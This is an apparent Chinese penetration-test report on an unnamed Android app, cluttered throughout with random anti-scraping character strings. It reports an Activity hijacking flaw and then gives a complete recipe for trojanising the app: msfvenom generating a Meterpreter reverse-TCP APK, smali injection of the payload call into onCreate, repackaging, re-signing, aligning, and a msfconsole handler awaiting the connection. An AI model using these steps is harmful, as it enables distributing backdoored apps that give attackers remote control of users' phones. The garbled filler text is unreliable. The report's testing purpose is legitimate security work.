原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

6 S5 R/ ?, L( c2 z/ d- Y) z8 {

. y2 q& O9 _( N. n5 A
/ V3 k* p5 X5 }/ d0 y

+ O1 B; w3 X% k8 [0 n3 i. f 7 R: F+ S' \$ G$ q, Z7 |7 }6 }

a; g6 @( U/ ^% r# F % \2 O ~! |. J; M0 f) ~/ }( W

% N& }7 s5 d1 x/ P' C& |5 @ 文档编号：                * C6 G0 @3 X! [/ g v4 N9 |

; V! F& i4 n' P( b) x/ q8 _& ?3 v ; z2 y2 N! q# k. A2 x" [8 _, [5 j

2 Y2 B6 J0 s, ~3 c# G: |0 r   . {+ H& L1 T' r- ^' b4 k/ w

0 O F1 a; ?' z7 ?# x0 O. I4 h ! r8 a, J! |8 r) W/ ^

3 |6 i+ w* ?# n. O! m/ y( ~/ R . B+ Z6 w" C" v! y3 ?. b   % k4 c: d" B: v' Z7 W* |# X& @* B& U9 L

1 i: U; F- u% T) X6 q! ^5 O

" t& M0 `; `9 g) ~   7 B7 C/ ]4 f4 l 2 `/ o- m0 u! Q* O% u

7 l) z4 T# Z4 ]$ f0 |: s : h& b | i! o2 n$ b; G5 I

6 @5 E7 O# u s7 a5 e3 h! O* r   ( V! l1 O( \1 U8 N* L0 z- T4 |0 R

. F7 Q4 t0 | e5 S# ~; Q

" x* J8 X+ |& z   ; W6 s) l% d/ i2 Y, I$ G1 Y

3 d$ ^# x }/ u7 y* | 0 H+ L; V6 d6 A; p2 _

某某某APP渗透测试 1 z0 Z6 G! a2 [! n . W0 h* M2 L! A

# l+ h4 i" a' C3 i6 k7 w) b 7 H9 `' P# X! w8 T. H2 u6 }

7 [! R" k3 A) B) T. ~1 r 4 y4 V- g+ i6 w- m  

; b+ t- Y! l! Y   - X' A# L* B$ E

7 y2 E. G0 O" w# @4 { : d# ]4 [$ R( \3 `% F. z) C   2 w2 Z/ c' z- d0 t* t z! r

4 W& c* n) ?' j0 Q

 

u1 F' k, p$ w6 W% b 3 X. M; I/ }$ S5 T& b 技 术 报 告

; K) m$ e {/ R* B# k4 [- K

4 A* z/ i) P* I3 H' D9 O  

3 |- i4 z8 H: S& N C. V8 t% ] $ d& P0 \7 \ n2 U: r3 ?

7 L% A: v5 Y' n- b8 b! K * h: _. G" Y) C7 z/ n: K  

! ?: a: X, K3 i & y: R6 _/ ?5 P: f6 c2 |2 c

 

9 ]# y! U v" c! {/ W% U

" f! y G. j. L; G; F1 B ) P0 F( [, j9 |7 w" K   2 a9 I! M" v8 U 2 V2 G) t# o% l$ o5 N

 

  8 R) X$ ^" b! L4 ]$ G1 s* B! @! S - M6 T# U) M n" [* J

% C2 F) U. G7 [( c

; I; ^ v) u1 {5 M2 y3 H  

U( }9 ~' ?$ j/ T d6 K# L4 m& u- Y. w

( N- P1 @; V P. `  

( V- a0 E$ M: H( I. Y( M

5 @# e7 Z) S. u S# d3 s8 I* n - x# R$ q# E2 Q7 f/ S   # g* b- `5 I' T/ V0 m

: J; @0 ~/ x& @; {- Z5 e7 U ' l3 W" B" ^. [! B) ~

! y; [- [" s# X. o. u% h$ ]   / C* w/ ` D. W1 f; m

3 {2 }# P5 C. j: x+ [. G 2 _, m5 I& ~* Q2 |

 

7 T+ ?* Z( g! B K

0 i- \. v. g4 p$ ^! T   " ], R8 @8 m l8 x4 M4 \. K% P% B

. L! ? f# j; z9 T* }+ R$ E ! M6 R, y. ~% G# s   1 P* w. r: D7 d( O& t X2 G9 U

' W1 f. h4 t# [( E$ Y: j# h& c

  . }1 V0 o) G0 d) j+ L* [

, O5 @/ c& {2 l R1 N 4 t; `6 s- l# Q! U

* K# ^% k. C6 m 2 z2 Z$ X2 A: |   2 ^% d% `7 z; u; S/ W 2 y2 Q$ o* r- i# G

% e# W. @# {! S+ W2 c

  1 j9 U. @8 j4 o9 f D: m

8 \, ~4 H# Q4 S% Q% G1 e! @

( s2 P R1 p+ Z$ K6 o1 {! { 3 g+ o* \, I; V% d& s  

  * i" }' T K( T' q4 Z0 H# B

* Y& \. O% L% `. e9 q & R4 W- n# o! k6 N4 h9 k 二〇二〇年 ) y: t4 W6 p% Q* }6 s2 y

% [( p3 S$ R' l- X% K [" W% s

9 A" w+ s# v" f7 y' g+ u2 I
0 q4 U. m. u, P( T; z V. F. _8 G# ^2 K 0 o) s+ x R' n' f% ]. B+ w" d( b( Z

/ f1 y' l/ N. H8 P

( P. _( k/ \2 a / _+ y3 D8 q2 ~: L

4 O0 W, L# G7 C) I7 F9 v 目 录 / T! ^+ y, C" x: T, a* V3 f

1 K* k, y+ m" `% g& V+ M! W

5 r0 ]/ M4 z% w% ?5 D- f, [: S   y8 c! X* a; e0 X3 a7 J2 j* v

" h) a; ?: q, `+ b+ q+ J! U0 E

: p3 X, c& ~7 r! u3 D1 {+ {1 X 9 P% N* o) _( T/ d, y/ k 1 概述... 3

5 R t" [5 {* ~! t# B/ V" ^ & f7 s4 }( a1 E3 N9 G

7 U- \. v+ `! A0 ~0 l4 [8 n, i 1.2测试时间... 3 ( Y2 l6 I6 v+ o, B9 X# | $ M7 \0 S' x+ y

, E% h% x; S+ E- P

2 h5 p5 ?- x8 J: g- T, k3 @6 ? 1.3测试对象... 3 5 ^: B6 W. j5 l

+ V3 R3 U# O, f: N( o; _0 l* ~% N

7 D0 F2 Y a3 h; r' ^4 ^1 r 1.4测试结果... 3 2 e, S9 d" d0 j' U5 j# Y

5 h* |7 @4 _2 U# i

, F: n; M9 x; `# z, ] 2 检测结果... 4

1 J3 |2 R2 q5 W8 [6 {/ i( P; R

2 Q; }7 }# G9 o. R' w7 Q, u e7 g% u/ b H( a1 w 2.1 某某某... 4 & L0 K; @0 c/ L. R, `: Y

& l4 ?4 p; K" Q 9 B9 y; I# I' T2 f7 a2 I

2.1.1检测目标... 4

7 F$ d# P5 v# t& A r4 |% q6 ^0 A 8 A+ s' k( z, h4 S' |2 ]" u

2.1.2检测结果... 4 & Q, c9 S) f0 |& Y; f$ o

l# w9 `2 y' b) M

?0 D; p5 d8 S4 [6 L2 [5 q 2.1.2.1. 4

+ \% a/ T$ r. e% C J: V- n

`1 O) i9 f( A4 [ # C" G6 p7 d2 o- T) l 2.1.2.2. 6 2 y2 ~- d( ^/ Z$ W9 q# q# @# q8 Y5 E ( ~1 h e2 N. r. K9 X0 L

; `, Y( y' v8 v u- E7 u' s 0 h @7 H: O4 U) W

7 ^4 \5 g& E9 Z; a; Z1 u

; v, b2 @. e' Z: y7 o 0 f" w5 j6 P' N, h( n+ ^- N

6 _- n) ^" t. w 3 [, C7 \$ }6 K: e1 ^1 P2 d+ Q9 K , |. T7 x9 f# |7 x; Q: b( R9 J

1 概述

6 E# q0 j& k% T8 B5 c! [$ b8 a" f. k 1 e7 }) f' g) Q1 _: H/ {/ N N* s1 O

8 d: q, D& N! p! H# J * J! \$ b6 k! e3 H 1.2测试时间 # x* @. d) {' u8 A: A, w+ o8 i $ L: Q1 f5 X5 n5 h9 y; R5 M

4 c) W8 [5 V. p- Z ; ]( K# S$ e! { 4 \; L& o$ D. c+ J+ s# v; n/ h# Z, l" `2 F2 u, [+ V- e6 r @) n. ~3 f2 S: [0 e8 a' c+ ^4 q$ j0 W. n- z6 `6 M; [; S' C/ w& |, K: T2 Z5 m8 T8 P; v: }# o' a. t& j; Y `7 y# U1 q+ D$ p: p0 O% x; E/ i+ i" n6 C9 }- M8 A1 M+ f4 O$ B! X0 A; v G) x% E/ R4 z% G. v9 z1 f2 f) P" U" q1 i3 H: U3 ~/ L9 @9 l6 D7 [# j' g! a( l- ^6 ?& v& F. M! @1 ]6 K+ w4 |: g+ ^+ {1 q6 B- H" G1 R" H+ J8 ]# y8 |, H0 i# e, I7 d! J0 Y* J( k2 q2 q" E1 Q. ^: M" ]( y( E4 L

`* k4 }/ T0 K5 D, V9 r( J 5 V/ N" l, T2 ^1 E0 _ 5 @, H) X; v* |' x" J- {: K9 ` 渗透测试时间 : F5 j) Q7 l6 w- ? $ h0 M% e2 W i; { 2 b3 Z; H6 K! \# }5 T0 ]% T ) d, o' }( H! j+ o; H0 B
9 h3 N% [& q3 e8 J8 S$ j/ ` 起始时间 0 }! f/ H1 S) a) }! s# h 9 Y5 o: x+ W& y) v	3 H$ w3 [& _# e" b8 B * ]8 n. X5 A% Q" U0 F! r8 m [: i) I$ Y; m( g$ f$ Q7 Y' A ( v! O0 H8 D1 m0 v 2020年4月6日 0 H5 Y& j7 T5 m+ T9 | $ x1 Z1 s; v6 e: i
/ z) t) Y$ e+ b 结束时间 ; Q' E7 k0 Q4 T S. @7 U3 W 0 Q3 V% E) J7 c	- ?% t2 e* L' l5 l7 H% o7 I$ P( o8 a 2020年4月9日 ; z3 H! X) f& p% a) a$ r 2 ^& K. Q' R: d" H7 ^

+ B& [$ B7 H: } X; o% } 1.3测试对象 ) x: j" I/ E# }

6 u5 \: H/ W" I/ m5 a0 b

0 A+ r3 @& Z* e+ v 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

* E% \9 _7 |/ X' ^: L+ R

/ D/ G6 c* ^+ ?' u1 F5 v* @ 表1-1 检测对象 - e* _: A1 M. \; S

0 r$ @( j) U/ K, Z1 \' \; q; N& z3 f" c" y3 M2 r; |* {% a! C) Q4 R6 D6 |2 @5 b8 P f) O: O. |- \: w' V: w% w: F8 g3 V5 H" h b, W3 v5 M4 G: D. w# x0 p; @2 L& I5 z! V5 H% W* U) B t3 |" x! `9 z7 z# g9 [" K; N( q9 S6 G. V$ \6 C+ A5 U6 O0 o9 x8 I% f' y4 w9 l6 G. J, v! p9 t. }) P2 T2 M3 ~9 {# U5 t1 y: _$ H9 k- l4 }6 e3 y8 z. J" {: S

* O$ t; ?5 }4 w; } 序号 9 w2 }. k# j3 I; A9 } B( ^2 n; O' O1 H" X" \) ~	$ Y4 Q& g" c# y1 W + \' l6 w) C) t6 \5 C/ G" c( n6 h% d ; n8 X3 U7 b9 `6 n 测试对象 ; q; `/ Q1 }) d( @ " @- d# l: O# q1 o) B- F	5 L5 Y; \$ v; k$ [ 测试地址 8 W' C2 n$ d, C, T* H/ } ! i& \0 \* c* r: M 5 P T, R# V7 _( L	9 \( H( v, @' n( a# d( a, s5 @ ' x# r; o5 {- S* L7 w$ E 7 ~) n; G I+ _) O! e5 g$ D / }' P+ t& `9 k 安全漏洞 ' O" i6 d) z2 M2 R3 [3 @+ N 7 X! \+ o$ R! D7 T6 I 7 C0 p- |! ]/ o0 @ {2 p ! H4 J) g+ I0 f3 ?6 S4 C; F, f, M
0 ?$ ^/ q% p2 y J0 ?. N0 n 0 z4 @( ]8 p; U5 I4 Z; E , d' b, b. N& ]4 m0 U# E" q 1 7 [" o7 _9 F; P" K8 ^ / V: i% ] w; I6 E. C+ o2 f) u	某某某安卓APP ~- W6 ^+ w% ]: l# {+ J0 a& ~ 6 r$ q$ j- U; Y) W " O# `, Z" G ^! I; T	8 f) C3 @& r8 m1 T5 ?% }# @1 z , q' c" L& v7 v5 K$ J   2 `- T, d/ k: E5 e8 H $ k- t% M/ J4 D' Y 8 S' h; m: _' b: \9 y" n* l- \ 3 D8 X; `3 E( n) f	+ G0 p" C9 n4 g 8 T5 P- ]4 ]5 T3 s; A/ X; ^* J' n 2 5 M0 O8 a h- _; j! _ S( z8 D) g x- T : ~% y1 W9 ]3 x+ }- m( o. @6 D / |4 \9 w" U( `

5 J, Y' g/ M( y O- C0 d4 S + f5 R: M( H# I a& ]9 S

1.4测试结果 % i/ E$ u) _8 |

8 d% \. h$ k4 w5 D; G" [ 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： / A2 M3 L# y4 J" K% ?& i

1 g4 w$ \6 w4 {4 }3 B

$ g. F4 W, f% V 8 _, s* B1 O. K: C6 ~4 @2 M& ]' I( @   - y; H& \; f% u, _8 S

3 s. h6 X$ C# U- c; I7 U& z 8 }; a# }0 U* u3 R5 a/ a

* ~2 H* }6 X7 T( x) J / |6 |# E8 F$ }) c* K, ]+ e1 ]/ P8 |$ y$ p! y& t: ~0 K5 C; e) z: k. j5 j' d8 N! ?7 g8 n) M8 J! ~, U( Q7 }, O N) l! x7 Q3 O) X$ [! {$ ?5 ]) @; I8 o* @$ F3 ]8 J9 k7 }2 z: E% k3 u( }# n5 q" s4 U4 F1 b) V5 p' d, m- f% g" K* I) H% H- N, `; o0 }! |* A/ z( y- m% ?4 o/ ?# Q* U6 L8 w# C9 ?/ s6 Q7 W) m7 h/ I; o$ D' _- p6 b+ `# [! i& Y, H. o3 [$ S9 W( F+ j1 K; ]+ T& N: g$ y* a0 I; [9 r W1 X" s t0 G: ]4 V- T: @$ G8 }# g5 P: ]5 ^" ]6 c: r0 V/ ?5 i# b$ w5 r7 ?& i; S; @1 q2 B+ n9 u; I* i$ u# M% A$ J8 ]! A. T; F! A) [( U# \, ]% t2 _6 @# f* ]& L; p8 |* Q7 {6 H1 D: I' a. `5 \' p$ ^/ B5 y# S7 s; ~2 D) U9 U* m5 G( [: B. k3 q, L) f* p* z9 Y1 {% z5 p$ l% P& x8 F( K8 q: H1 g: o4 g- I2 P* } h- B" B

: n. ^% D4 i C W* [$ Z ^; N! q 序号 ; U! v9 o, B: `" @) U ) W' n) S$ N) Z8 r0 ~( l	5 x8 Z4 P; V& l) F9 w( H 系统名称 1 ~4 ]/ v" D8 i9 S2 Q- T" |0 h : \, b: S' D6 ^	- F4 _4 J5 h$ K* }+ ~ - r! K/ J9 d# ?7 y, | 漏洞名称 ' i! p! R8 m ?* i7 O O' W' M* q; A8 k' p 8 u: x& c; y' x! t( k9 _! b % @7 i8 h! d3 u/ n! |	- d6 W. X ~7 A" W2 ^( O 1 A" g. q1 ^" W( `) X 漏洞危害 4 l% f* {" H( U4 [9 Y2 T/ G; H	5 o4 U6 d3 _; Y. g ! q2 e% a. Y- x5 N8 E6 w+ e, Q+ m * O2 M$ E( L' Y v, A 修复结果
3 A3 K% ?+ d; k2 f( R1 e & d1 _2 Q+ J+ J* |! } 1 8 G' _4 n; B7 h( _0 Q' i+ Y, L0 l - T5 w2 c! e8 R* _' Y' H# M. s	: n# [5 k7 \4 x+ _2 U7 ^" k z( s" T 6 H; E% v: s( x9 t f+ } 某某某某某某APP 9 m9 n# g9 _" L1 [% s9 f . L# h6 ~" @# ]- J1 M4 O	Activity 劫持 ' {0 b) y. @9 Z2 W- Z. [" L, H' ^9 Z 0 @) j8 M' d0 F4 c - P6 x' o: v8 g7 `& L4 U 3 n" S& J: k* [, [0 \   / [; i \9 m9 u5 q. o 0 Y% i+ P' q/ }% J3 _ * h" b& `' V* r. Y0 V	! N# k, ^9 s, |9 t/ m1 j & A8 M0 }, R+ j, J! U , u% Y) V n7 g" X4 w, } 高 - M( n) z) _0 `* N; c& n3 } ' S; O) y! I l* q & `6 v# y/ f! @0 ]7 `& ^7 f0 B2 c	% e; A4 c0 f, S) G3 J5 `   ( u5 n, N( R8 x R# }' i
: |- ?% ^$ K" h9 e 2 ) c( m5 @ ~. k$ B' o 1 \) m0 y) o3 [ 3 n9 v, _! h; S0 s3 e5 H; o7 w! ]2 w	: m) ^" U" D6 O+ H/ z7 z # ]: |+ b8 h; C1 b3 C$ k6 e 某某某某某某APP / E& V. J. b4 }% n + O$ C0 s* j# F% p5 P8 D	2 M1 V! R" y; r, m# |7 J& x 反编译二次打包捆绑木马、篡改APP代码 - {; Z# n' D/ h; _/ F/ p" }% ] : s2 U) d! q2 L- q8 D6 M	高 ' R! w. e3 {( g" Z+ J $ `- B- [1 j$ X" O4 {- j) X6 f 6 i. @4 u `9 K0 |) x" y	! e, }. b! Z$ F1 n & n+ E8 s" H3 g: Z1 x& ^2 _/ b , Z+ X9 A6 O$ h* M0 K m& l' w   2 H( |# T; X% g ^% v9 d" e+ k ! t# k6 W3 M u! B+ i

1 M0 H* e( ^+ q* J5 `. f- n

* h; \0 ?* p& ^" ?& B3 a0 A2 k% H8 u : R* z& v, E! i; Z& B" a

2 O1 r+ S8 M2 |6 n3 S 1 H' g, m1 X0 F$ w  

( p1 k, \/ K' O Z, B6 _ 6 S+ ^3 Z3 {7 v3 y/ H

* o g2 [4 R% y 表1-2 测试结果 8 P _: L5 q# ?7 M8 d) r n8 y+ X @+ h0 y+ M: }

& m1 B+ {. G- y9 {7 r. h9 Y. V; q

/ Y5 L* \7 z- N/ c5 w9 O; x' U ! n! }4 @) s/ _! ]' E4 y   ) E6 m% y4 @4 E; X8 T + u6 @+ t* v( Y

2 检测结果                    0 H. u f" A$ c. d- F3 g

/ ?1 |! H! c0 E i

$ l W2 K, k8 P; s 2.1 某某某 7 E1 N' C7 [1 l. g' t6 B* V( p

f# B& I& w& L/ Q. ^

2.1.1检测目标 ; W- K6 l6 {+ i. q5 x1 _/ X

: }' D, b/ c E* m' {! w0 ^" m+ V

. N0 I! F# E/ N1 y4 S6 i , P5 R) f0 s8 y, o7 | 目标地址： 某某某某某某APP $ w( l9 I& W7 b; O# @

& m* N. i; _. R9 v

9 f, c& _- o* g4 U0 I6 d; r& D; H w) x , u6 ^ h. x- _$ z% X Z2 p. [9 f: q. w 2.1.2检测结果

! ]- E$ z$ }% s: u" u0 r ! a- f' Y! n4 F2 ?# }) B8 U

2.1.2.1 d, f) i' K1 O, B. }5 d- h

5 Y, O7 i; i: X+ n3 ?& z- @ . j+ |7 T9 g, f; t G 漏洞链接地址：某某某某某某APP / {; r) g7 ~# D6 f2 C* S- k

/ E& p4 ^. A. A5 V 3 L4 w: W3 M4 H. X3 O8 B

* I: N8 x. k- g0 g0 h   / R- i w$ }! P

漏洞分析及取证： 1 i9 G7 q- T5 l6 O( k8 K ( G1 |; {* I, M, l2 b

o4 S9 @3 r, G: E1 e; d2 q                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

% \$ Q+ \, `7 L8 T

     % \/ M$ k/ a% N6 X1 u3 l

' w% s& E5 V5 {% j1 H% b

$ N6 ^3 Y$ C1 M0 h / j) L t; M) D, c3 g/ Q9 C/ q- b                       ) i" J% d/ {5 m T

( X# K3 b8 Q q3 {4 T: _! D

+ I) q! J: L; A $ o9 Q8 F$ r1 }- x( ^* z0 |

4 q& t6 Y; _, E( q! p. I6 n ; i( A( }* Q1 _6 v6 F9 q# L, ^! i8 r

! p! |0 G2 X5 m# L; x9 S+ K' i 9 ~$ u2 n' G I# S4 \2 o& O( d3 s

% r1 V9 E- ?, S9 u8 n) W' B) b : C8 H0 ]3 k" G' Q7 G

2 n' s) w) h0 ]5 G5 U1 K+ h / p7 P. A2 G8 [+ h% ^ ( H9 i& ^% j- e2 m

6 K2 H' N, @. d, [

漏洞危害：高 8 @& @6 q, u& ~" u/ E9 [

, {7 c7 }5 F. g3 w5 P+ I9 i $ D8 Q4 `2 ?. N: r% W. R5 c1 R

& p3 B( d, E/ n! W 7 V7 I) ^7 S7 C+ t" C7 Y4 `* f5 f- d# n2 F; ~6 V7 h! a- B- p) n' e2 T Q9 e/ [4 U- R4 z7 l- M7 e' p$ u `5 P1 E3 m, m% F' ?0 U3 r0 u8 c) d4 M' O" r5 s& l( v! V2 ^) _4 h( r8 H+ d/ h3 Z6 K! j0 J0 x1 X+ [1 I/ U4 U5 `( t2 [8 F! S" T8 z! p# d( P! n# n( S6 y- J8 x' c4 |# s6 X G+ I( w( G( ~& ^5 y. X4 C3 R

4 @3 `% ~ g4 Q2 X1 Z1 H ~ 6 W8 R8 i+ r; E: R h) c 严重程度 5 y3 @. P; k. C F	p/ u/ _5 Y- H8 A; c- Q! ?# T 高 # K. \8 m' Y$ |& z3 Q6 f3 q	$ K I5 n' t# ?1 p6 U 9 m2 ~+ O' ~7 {$ M" w. L, y' w * k" }% [7 o6 r; b8 r0 P0 H& a0 j ■ ~ y: Q& t3 ~/ z$ ]) A 7 E2 k6 ~5 {$ b* M! r& ]	4 M4 T; _" i; P& l$ x9 q / Y$ \8 H) D7 {5 g9 a$ ~8 d/ c 中 ) F [9 i1 _* n2 } : t% `) @0 |, f# s* v1 ?* Z & L" q- q4 `4 Z4 h& S& t. G	1 N* [4 I9 J: `: ^& f & |: Y0 P* E3 {: G3 K0 c 5 f- e, [& {/ }   : K* r- c+ ~; Q	# a) I" d, w2 D2 X+ [5 g9 } . Q$ @- c6 b8 U1 s ' H% L& Y( j! e. W! F D- Y# M 低	2 u; U0 J( H; E6 w% s; `3 ?. W7 L   |* w# u9 D4 `+ P ! x8 B1 E o8 E5 N9 j6 I 4 H; n F4 ]+ t

' t: C: i% M) A4 z6 }' X

. P( q% E3 K. T# p+ I w

) S4 g5 t* D. R+ B% X   0 ^4 N+ v! q/ n+ e+ m3 i; w2 C

, ?$ ~$ p5 r8 [) z% l! A& F& \* n5 V

( L& |4 X) g; A# @ % P% f4 t6 ]7 v' G6 v% Z 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

7 N% P* _5 W8 O- N4 a% A8 J           ( _: b( ~- f7 Y9 w & B6 a& L$ g- h" D( p L y

" N; L% p" f" Y l* N) b8 A+ k/ {

2 m ~9 S0 D* D: o1 @- ^ 6 C2 x0 D. x9 |2 A   , |$ v; k- p$ O

" w2 U5 o1 h7 `

: d, U9 L% h8 g$ m5 t1 W / Z+ o$ K. G& }: t# e2 s8 f 2.1.2.2

" O5 O! E' r a. Y

( u0 x& ?0 N% d2 L1 b 漏洞链接地址：某某某某某某APP 1 J1 t# O4 p$ @- j1 N* ]

' h5 l, g- L2 l2 v% w. v+ ?

0 `, V: g6 `6 E7 ]; }9 n7 z7 Z3 } $ L4 i8 |3 |! s 漏洞分析及取证： 9 l& v. R9 `- ]! B* h' t5 o 7 K/ y2 J, h M+ L4 v

& a8 e6 ~, b: T! m) x0 L

- g3 s# S* V, n& b4 {                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： Q! S4 o) N2 q' R0 d/ L6 C3 e" K: Q 0 R* ^8 D! Q h( L+ }

1 e' j* ]8 I4 A- {8 y3 m # B2 a) z* U2 Y( ^1 J

8 q) c) q; T9 g& {0 r& J& T9 x+ i6 X8 H & T0 p/ C! n/ \" ? 用Metasploit 生成木马 apk

D; N+ @4 E, s4 E( X J) {9 r* O

' s" K4 H7 s2 I% I7 S9 Z- w2 S msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

! A. _0 n2 g, x7 s2 g( k. ~ : d/ v% R0 t' T1 j2 `- n

反编译目标apk和木马apk 1 n! p5 V( U, }0 S4 Y T * h7 S7 M( s' d

1 b, i w- ~; x) f1 G 4 r! y% y3 {4 i9 F! o apktool d target.apk
& q# `8 t( S9 h; @! b- _# O: \ 8 c* C) M" L5 P; Z, B apktool d cockhorse.apk 6 V5 S5 @9 X7 h1 N, I " n" k: W- O/ h+ a# i+ k1 S

; n! z) \ s% l% b$ \# s* W 0 c& c2 V0 ^$ C0 \

木马 apk 注入目标 apk . \8 ~: C/ Y3 ]' a8 ^$ |

; I ]3 V& e2 s+ t" I

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
! z6 d* o5 `' [& c3 b+ t: H1 c! I invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ; Y8 i* e0 S& g; X+ i& t+ i- z

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 4 Q; @7 F, w1 K 2 V8 x% f) X+ b8 f5 G* H

$ c v! m0 X1 d( I4 F

6 ?# C2 R& j: X1 O& W 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 " x+ K4 O% W& k3 ~) }

% ^ M" D, W2 F7 A: C x $ K7 M% i L6 L% g

: r6 m$ b7 ~" R; k7 o ) z* f2 w5 R' t: N' r 回编译生成最终 apk + l7 q0 s o, P , X5 C# s; x B' m6 @0 ]+ ]

1 h( |% j! [8 m e$ D 3 e* k5 I6 [1 `% c' ?

重新打包 - @; s. J# l7 i 6 F$ V; ]$ `5 T% c" L$ }3 V7 {9 w$ z$ g4 N

) P8 ] `1 t; O4 m; |

apktool b -o repackage.apk target_app_floder

7 J1 @& |& ?# ^8 F6 c v ; T( w# Y& }0 h, A& I- q3 x

7 q; L+ Y- Y/ ?& o3 p " j! \' v* u1 Q* J8 z7 B: m 创建签名文件，有的话可忽略此步骤 : Y p0 b6 B7 S3 Q

. D4 h) d7 c6 x4 S

6 } `- n6 i1 G5 D - S" `# x6 B8 p0 _$ w" W keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

Y% w1 ^, C4 S) [' [# x) i0 c

签名，以下任选其一 7 X5 P8 i+ A* _1 u9 D% z 7 s- S0 n& }( e/ H/ Q9 ^2 k- |% q

5 {% a$ `! m' z/ K

jarsigner 方式 $ u! ]! n3 t. Z) d5 T9 [- J

- D7 S+ G4 B; \# U! v! r, b

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 3 t W( H9 x9 B, ` 1 L/ g8 G+ r- S7 G9 r

) p% f% q) M' O# V

. q: G" X7 b3 E4 L$ ]- L- D& v- C apksigner 方式 2 N% o5 d. O/ U, Y! }" T( E* C

' P) g2 q/ w8 C3 O* u8 i M

( o! u* r' O" j8 f0 B$ s/ z 2 G9 v# _' {' l* m; t9 a apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 6 J' W* ?) R: P0 M! z4 u3 h" I

( I8 E- g/ T0 s4 x1 m9 d6 f1 w 如需要禁用 v2签名 添加选项--v2-signing-enabled false ; G A6 S+ C$ \9 B1 n8 N

3 T+ t0 d0 k: L. K

验证，以下任选其一 / D' b" `2 J4 ]# @( D# g* i6 p

' W: b9 `% X3 T5 J, `

jarsigner方式 3 N4 q& f& ~/ J( Y, u

0 B5 [7 l' C# Z- B" e

6 z2 Q9 q; Z6 L; s# G : u- p, t+ y2 R7 x- f jarsigner -verify repackaged.apk $ N- Y. i8 d" v% v

! f$ ?9 Z: J+ T Y8 d; u

b7 D/ V2 a9 ^ apksigner 方式 : K% \: N, @9 X/ n) ? - j; ~$ }& J; d# Y

) u; y) S# k! w. n4 {6 _2 e 6 T" Q. e( g/ C' z apksigner verify -v --print-certs repackaged.apk k) h* r& u. W8 I1 E5 q7 H

) C" p- u$ ^8 Z1 v* R+ J1 z* s& e

& `! B H) T, k- f7 Y keytool方式 9 H9 i7 Y% x* x$ ]7 g7 H ]& o0 j- T

9 b; W7 ~/ w! _! u* V& U' K# E ) u r2 g# [7 D

. X# n) f6 [* b, a keytool -printcert -jarfile repackaged.apk & K! b- c- y2 e" b* _

; c) {' C, N( ` D5 P 对齐 ) {) e, B: P' q' `) [* A

: M$ W2 B& ?( F1 p' m9 a

9 T1 p4 b1 o4 u/ g: `! K $ }+ Q( O9 K9 P7 \! I" g 字节对齐优化

( L4 C9 n8 K1 U0 @9 p

; ~3 E" q3 U2 x* w; {( h0 Z5 Z zipalign -v 4 repackaged.apk final.apk ' N1 u6 Q# I7 n( F" s U; t

% ^/ K O+ h+ R$ o0 z8 K! d- c- ?/ }7 Z

$ r4 r( h$ r' F& @/ s 检查是否对齐

0 L$ A+ q3 K/ v

/ y0 O" u2 b+ O6 p& ?& t- J# M zipalign -c -v 4 final.apk ( K# R% x5 W0 I) f/ [/ K/ S& Y* W

+ e3 S; ~8 q+ F

1 s' \: U0 { m 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ( k& ]. V0 \8 C/ ~# I5 `: h * G( Y4 a$ m' S

* C& V# H2 ^5 S+ n3 D8 {% P 4 s, l- Q; \9 ?+ ?' v$ e

启动Metasploit控制台，配置参数等待上线 5 S) \; H) d/ M0 ]* y! l9 h 4 w" e" x) g1 ~5 E1 S

3 a, o. S2 {; w( z0 D % S/ U3 h, K6 _0 f8 I

在终端依次输入如下命令 $ S+ z1 F9 k+ D1 q1 p. B

# g' g8 M' O" v$ \9 V; U$ i7 s# C. B , `" |. F$ `" c; w! N, l msfconsole ) Z: Q, q' O4 u; O7 c2 t

' Z% T: f: k$ k$ N a% M " B. h* q8 Z% h- |+ p use exploit/multi/handler $ b) C$ x$ Z9 M9 Q( x

: _7 j& \+ r" e$ l( G! Y3 S) B2 X

2 i* y4 p$ q6 {& A- a set PAYLOAD android/meterpreter/reverse_tcp : [- [, a7 j( W 3 ~( q8 b2 _1 q( e. }% d: X

$ ~" r& Q5 L8 z

, F P1 M: g; l# L3 a' N set LHOST 192.xxx.xx.xx

3 I2 p' Y: u3 `7 A

' w7 ~8 _# o6 [( r set LPORT 4444 s& L$ D4 L) P5 e: R( q- @ 1 I4 d- d. o2 {

: v7 O# b+ Z: d$ H. N1 U$ a! _ exploit 3 l4 h& W! h: g% X: F

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

: M i0 @( Q% K: h# T

漏洞危害：中 4 X, ?8 \, g- ~6 i; d4 u

